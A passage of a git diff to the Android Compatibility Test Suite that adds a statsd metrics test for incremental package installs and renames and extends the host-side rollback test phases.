+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsPackageManagerStatsHostTestCases.jar" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/packagemanager/stats/OWNERS b/hostsidetests/packagemanager/stats/OWNERS
new file mode 100644
index 0000000..ee4101d
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 36137
+toddke@google.com
+patb@google.com
+schfan@google.com
+chiuwinson@google.com
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/stats/apps/emptyapp/Android.bp b/hostsidetests/packagemanager/stats/apps/emptyapp/Android.bp
new file mode 100644
index 0000000..cb0d133
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/apps/emptyapp/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsStatsdAtomEmptyApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsStatsdAtomEmptySplitApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    v4_signature: true,
+    package_splits: ["pl"],
+}
diff --git a/hostsidetests/packagemanager/stats/apps/emptyapp/AndroidManifest.xml b/hostsidetests/packagemanager/stats/apps/emptyapp/AndroidManifest.xml
new file mode 100644
index 0000000..2671c05
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/apps/emptyapp/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.packagemanager.stats.emptyapp">
+    <application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
+
diff --git a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/PackageInstallerV2StatsTests.java b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/PackageInstallerV2StatsTests.java
new file mode 100644
index 0000000..369c983
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/PackageInstallerV2StatsTests.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.stats.host;
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PackageInstallerV2StatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_INCREMENTAL_DELIVERY = "android.software.incremental_delivery";
+    private static final String TEST_INSTALL_APK = "CtsStatsdAtomEmptyApp.apk";
+    private static final String TEST_INSTALL_APK_BASE = "CtsStatsdAtomEmptySplitApp.apk";
+    private static final String TEST_INSTALL_APK_SPLIT = "CtsStatsdAtomEmptySplitApp_pl.apk";
+    private static final String TEST_INSTALL_PACKAGE =
+            "com.android.cts.packagemanager.stats.emptyapp";
+    private static final String TEST_REMOTE_DIR = "/data/local/tmp/statsdatom";
+    private static final String SIGNATURE_FILE_SUFFIX = ".idsig";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        getDevice().deleteFile(TEST_REMOTE_DIR);
+        getDevice().uninstallPackage(TEST_INSTALL_PACKAGE);
+        super.tearDown();
+    }
+
+    public void testPackageInstallerV2MetricsReported() throws Throwable {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_INCREMENTAL_DELIVERY)) return;
+        final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
+                new String[]{TEST_INSTALL_APK});
+        assertTrue(report.getIsIncremental());
+        // tests are ran using SHELL_UID and installation will be treated as adb install
+        assertEquals("", report.getPackageName());
+        assertEquals(1, report.getReturnCode());
+        assertTrue(report.getDurationMillis() > 0);
+        assertEquals(getTestFileSize(TEST_INSTALL_APK), report.getApksSizeBytes());
+    }
+
+    public void testPackageInstallerV2MetricsReportedForSplits() throws Throwable {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_INCREMENTAL_DELIVERY)) return;
+        final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
+                new String[]{TEST_INSTALL_APK_BASE, TEST_INSTALL_APK_SPLIT});
+        assertTrue(report.getIsIncremental());
+        // tests are ran using SHELL_UID and installation will be treated as adb install
+        assertEquals("", report.getPackageName());
+        assertEquals(1, report.getReturnCode());
+        assertTrue(report.getDurationMillis() > 0);
+        assertEquals(
+                getTestFileSize(TEST_INSTALL_APK_BASE) + getTestFileSize(TEST_INSTALL_APK_SPLIT),
+                report.getApksSizeBytes());
+    }
+
+    private long getTestFileSize(String fileName) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final File file = buildHelper.getTestFile(fileName);
+        return file.length();
+    }
+
+    private AtomsProto.PackageInstallerV2Reported installPackageUsingV2AndGetReport(
+            String[] apkNames) throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PACKAGE_INSTALLER_V2_REPORTED_FIELD_NUMBER);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        installPackageUsingIncremental(apkNames, TEST_REMOTE_DIR);
+        assertTrue(getDevice().isPackageInstalled(TEST_INSTALL_PACKAGE));
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.PackageInstallerV2Reported> reports = new ArrayList<>();
+        for (StatsLog.EventMetricData data : ReportUtils.getEventMetricDataList(getDevice())) {
+            if (data.getAtom().hasPackageInstallerV2Reported()) {
+                reports.add(data.getAtom().getPackageInstallerV2Reported());
+            }
+        }
+        assertEquals(1, reports.size());
+        return reports.get(0);
+    }
+
+    private void installPackageUsingIncremental(String[] apkNames, String remoteDirPath)
+            throws Exception {
+        getDevice().executeShellCommand("mkdir " + remoteDirPath);
+        String[] remoteApkPaths = new String[apkNames.length];
+        for (int i = 0; i < remoteApkPaths.length; i++) {
+            remoteApkPaths[i] = pushApkToRemote(apkNames[i], remoteDirPath);
+        }
+        String installResult = getDevice().executeShellCommand(
+                "pm install-incremental -t -g " + String.join(" ", remoteApkPaths));
+        assertEquals("Success\n", installResult);
+    }
+
+    private String pushApkToRemote(String apkName, String remoteDirPath)
+            throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final File apk = buildHelper.getTestFile(apkName);
+        final File signature = buildHelper.getTestFile(apkName + SIGNATURE_FILE_SUFFIX);
+        assertNotNull(apk);
+        assertNotNull(signature);
+        final String remoteApkPath = remoteDirPath + "/" + apk.getName();
+        final String remoteSignaturePath = remoteApkPath + SIGNATURE_FILE_SUFFIX;
+        assertTrue(getDevice().pushFile(apk, remoteApkPath));
+        assertTrue(getDevice().pushFile(signature, remoteSignaturePath));
+        return remoteApkPath;
+    }
+
+}
diff --git a/hostsidetests/rollback/app/AndroidManifest.xml b/hostsidetests/rollback/app/AndroidManifest.xml
index 71cf5c1..76d239d 100644
--- a/hostsidetests/rollback/app/AndroidManifest.xml
+++ b/hostsidetests/rollback/app/AndroidManifest.xml
@@ -23,8 +23,6 @@
     </queries>
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
index 76de24a..156980a 100644
--- a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
+++ b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
@@ -25,6 +25,7 @@
 
 import android.Manifest;
 import android.content.Context;
+import android.content.pm.PackageInstaller;
 import android.content.rollback.RollbackInfo;
 import android.content.rollback.RollbackManager;
 import android.os.storage.StorageManager;
@@ -98,7 +99,7 @@
      * Commits TestApp.A2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyStagedRollback_Phase1() throws Exception {
+    public void testApkOnlyStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
         Install.single(TestApp.A1).commit();
@@ -111,7 +112,7 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyStagedRollback_Phase2() throws Exception {
+    public void testApkOnlyStagedRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
 
@@ -132,7 +133,6 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
 
@@ -141,7 +141,7 @@
      * Confirms TestApp.A2 was rolled back.
      */
     @Test
-    public void testApkOnlyStagedRollback_Phase3() throws Exception {
+    public void testApkOnlyStagedRollback_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
 
@@ -158,7 +158,7 @@
      * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyMultipleStagedRollback_Phase1() throws Exception {
+    public void testApkOnlyMultipleStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
 
@@ -175,7 +175,7 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyMultipleStagedRollback_Phase2() throws Exception {
+    public void testApkOnlyMultipleStagedRollback_Phase2_RollBack() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
@@ -193,7 +193,6 @@
                 Rollback.from(TestApp.A2).to(TestApp.A1));
         assertThat(committed).causePackagesContainsExactly(TestApp.A2);
         assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
 
         // Process TestApp.B
@@ -213,7 +212,6 @@
                 Rollback.from(TestApp.B2).to(TestApp.B1));
         assertThat(committed).causePackagesContainsExactly(TestApp.B2);
         assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
 
@@ -222,7 +220,7 @@
      * Confirms TestApp.A2 and TestApp.B2 was rolled back.
      */
     @Test
-    public void testApkOnlyMultipleStagedRollback_Phase3() throws Exception {
+    public void testApkOnlyMultipleStagedRollback_Phase3_Confirm() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -249,7 +247,7 @@
      * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
      */
     @Test
-    public void testApkOnlyMultipleStagedPartialRollback_Phase1() throws Exception {
+    public void testApkOnlyMultipleStagedPartialRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
 
@@ -266,7 +264,7 @@
      * rollback.
      */
     @Test
-    public void testApkOnlyMultipleStagedPartialRollback_Phase2() throws Exception {
+    public void testApkOnlyMultipleStagedPartialRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
         RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
@@ -283,7 +281,6 @@
                 Rollback.from(TestApp.A2).to(TestApp.A1));
         assertThat(committed).causePackagesContainsExactly(TestApp.A2);
         assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
 
@@ -292,7 +289,7 @@
      * Confirms TestApp.A2 was rolled back.
      */
     @Test
-    public void testApkOnlyMultipleStagedPartialRollback_Phase3() throws Exception {
+    public void testApkOnlyMultipleStagedPartialRollback_Phase3_Confirm() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -314,7 +311,7 @@
      * <p> We start by installing version 2. The test ultimately rolls back from 3 to 2.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase1() throws Exception {
+    public void testApexOnlyStagedRollback_Phase1_InstallFirst() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         Install.single(TestApp.Apex2).setStaged().commit();
     }
@@ -324,7 +321,7 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase2() throws Exception {
+    public void testApexOnlyStagedRollback_Phase2_InstallSecond() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
 
         // keep the versions of the apks in shim apex for verifying in phase3
@@ -338,7 +335,7 @@
      * Commit rollback phase.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase3() throws Exception {
+    public void testApexOnlyStagedRollback_Phase3_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
 
         long[] versions = retrieveApkInApexVersion();
@@ -369,7 +366,6 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
     }
 
@@ -378,7 +374,7 @@
      * Confirm rollback phase.
      */
     @Test
-    public void testApexOnlyStagedRollback_Phase4() throws Exception {
+    public void testApexOnlyStagedRollback_Phase4_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
 
         // Rollback data for shim apex will remain in storage since the apex cannot be completely
@@ -390,7 +386,7 @@
      * Test rollback to system version involving apex only
      */
     @Test
-    public void testApexOnlySystemVersionStagedRollback_Phase1() throws Exception {
+    public void testApexOnlySystemVersionStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
 
         // keep the versions of the apks in shim apex for verifying in phase2
@@ -400,7 +396,7 @@
     }
 
     @Test
-    public void testApexOnlySystemVersionStagedRollback_Phase2() throws Exception {
+    public void testApexOnlySystemVersionStagedRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
 
         long[] versions = retrieveApkInApexVersion();
@@ -431,12 +427,11 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
     }
 
     @Test
-    public void testApexOnlySystemVersionStagedRollback_Phase3() throws Exception {
+    public void testApexOnlySystemVersionStagedRollback_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
@@ -445,7 +440,7 @@
      * Install first version phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase1() throws Exception {
+    public void testApexAndApkStagedRollback_Phase1_InstallFirst() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
@@ -457,7 +452,7 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase2() throws Exception {
+    public void testApexAndApkStagedRollback_Phase2_InstallSecond() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
 
@@ -472,7 +467,7 @@
      * Commit rollback phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase3() throws Exception {
+    public void testApexAndApkStagedRollback_Phase3_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
@@ -507,7 +502,6 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
@@ -517,7 +511,7 @@
      * Confirm rollback phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase4() throws Exception {
+    public void testApexAndApkStagedRollback_Phase4_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -548,7 +542,7 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexRollbackExpiration_Phase1() throws Exception {
+    public void testApexRollbackExpiration_Phase1_InstallFirst() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
 
         Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
@@ -559,7 +553,7 @@
      * Update apex phase.
      */
     @Test
-    public void testApexRollbackExpiration_Phase2() throws Exception {
+    public void testApexRollbackExpiration_Phase2_InstallSecond() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME)).isNotNull();
         Install.single(TestApp.Apex3).setStaged().commit();
@@ -570,7 +564,7 @@
      * Confirm expiration phase.
      */
     @Test
-    public void testApexRollbackExpiration_Phase3() throws Exception {
+    public void testApexRollbackExpiration_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
         assertThat(RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME)).isNull();
     }
@@ -579,7 +573,7 @@
      * Test rollback with key downgrade for apex only
      */
     @Test
-    public void testApexKeyRotationStagedRollback_Phase1() throws Exception {
+    public void testApexKeyRotationStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
 
         // keep the versions of the apks in shim apex for verifying in phase2
@@ -589,7 +583,7 @@
     }
 
     @Test
-    public void testApexKeyRotationStagedRollback_Phase2() throws Exception {
+    public void testApexKeyRotationStagedRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         RollbackInfo available = RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME);
         long[] versions = retrieveApkInApexVersion();
@@ -619,23 +613,22 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
     }
 
     @Test
-    public void testApexKeyRotationStagedRollback_Phase3() throws Exception {
+    public void testApexKeyRotationStagedRollback_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
     @Test
-    public void testApkRollbackByAnotherInstaller_Phase1() throws Exception {
+    public void testApkRollbackByAnotherInstaller_Phase1_FirstInstaller() throws Exception {
         Install.single(TestApp.A1).commit();
         Install.single(TestApp.A2).setEnableRollback().commit();
     }
 
     @Test
-    public void testFingerprintChange_Phase1() throws Exception {
+    public void testFingerprintChange_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
 
@@ -646,10 +639,64 @@
     }
 
     @Test
-    public void testFingerprintChange_Phase2() throws Exception {
+    public void testFingerprintChange_Phase2_Confirm() throws Exception {
         assertThat(RollbackUtils.getRollbackManager().getAvailableRollbacks()).isEmpty();
     }
 
+    @Test
+    public void testRollbackFailsBlockingSessions_Phase1_Install() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        Install.single(TestApp.A1).commit();
+        Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
+    }
+
+    @Test
+    public void testRollbackFailsBlockingSessions_Phase2_RollBack() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.A);
+        // Stage session for package A to check if it can block rollback of A
+        final int sessionIdA = Install.single(TestApp.A3).setStaged().setEnableRollback().commit();
+
+        // Stage another package not related to the rollback
+        Install.single(TestApp.B1).commit();
+        Install.single(TestApp.B2).setStaged().setEnableRollback().commit();
+
+        final RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        final RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).hasRollbackId(available.getRollbackId());
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        // Assert that blocking staged session is failed
+        final PackageInstaller.SessionInfo sessionA = InstallUtils.getStagedSessionInfo(sessionIdA);
+        assertThat(sessionA).isNotNull();
+        assertThat(sessionA.isStagedSessionFailed()).isTrue();
+
+        // Note: The app is not rolled back until after the rollback is staged
+        // and the device has been rebooted.
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+    }
+
+    @Test
+    public void testRollbackFailsBlockingSessions_Phase3_Confirm() throws Exception {
+        // Process TestApp.A
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.A);
+        final RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        // Assert that unrelated package were not effected
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+    }
+
     /**
      * Record the versions of Apk in shim apex and PrivApk in shim apex
      * in the order into {@link #APK_VERSION_FILENAME}.
diff --git a/hostsidetests/rollback/app2/AndroidManifest.xml b/hostsidetests/rollback/app2/AndroidManifest.xml
index be6d483..7e90f85 100644
--- a/hostsidetests/rollback/app2/AndroidManifest.xml
+++ b/hostsidetests/rollback/app2/AndroidManifest.xml
@@ -18,8 +18,6 @@
           package="com.android.cts.rollback.host.app2" >
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
index 8f8bfac..f3e0468 100644
--- a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
+++ b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
@@ -61,7 +61,7 @@
     }
 
     @Test
-    public void testApkRollbackByAnotherInstaller_Phase2() throws Exception {
+    public void testApkRollbackByAnotherInstaller_Phase2_SecondInstaller() throws Exception {
         RollbackInfo rollbackA = RollbackUtils.waitForAvailableRollback(TestApp.A);
         assertThat(rollbackA).packagesContainsExactly(Rollback.from(TestApp.A2).to(TestApp.A1));
         RollbackUtils.rollback(rollbackA.getRollbackId());
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 9ca1f63..7191353 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -90,11 +90,11 @@
      */
     @Test
     public void testApkOnlyStagedRollback() throws Exception {
-        run("testApkOnlyStagedRollback_Phase1");
+        run("testApkOnlyStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApkOnlyStagedRollback_Phase2");
+        run("testApkOnlyStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApkOnlyStagedRollback_Phase3");
+        run("testApkOnlyStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -105,11 +105,11 @@
         assumeTrue("Device does not support file-system checkpoint",
                 mHostUtils.isCheckpointSupported());
 
-        run("testApkOnlyMultipleStagedRollback_Phase1");
+        run("testApkOnlyMultipleStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedRollback_Phase2");
+        run("testApkOnlyMultipleStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedRollback_Phase3");
+        run("testApkOnlyMultipleStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -120,11 +120,11 @@
         assumeTrue("Device does not support file-system checkpoint",
                 mHostUtils.isCheckpointSupported());
 
-        run("testApkOnlyMultipleStagedPartialRollback_Phase1");
+        run("testApkOnlyMultipleStagedPartialRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedPartialRollback_Phase2");
+        run("testApkOnlyMultipleStagedPartialRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedPartialRollback_Phase3");
+        run("testApkOnlyMultipleStagedPartialRollback_Phase3_Confirm");
     }
 
     /**
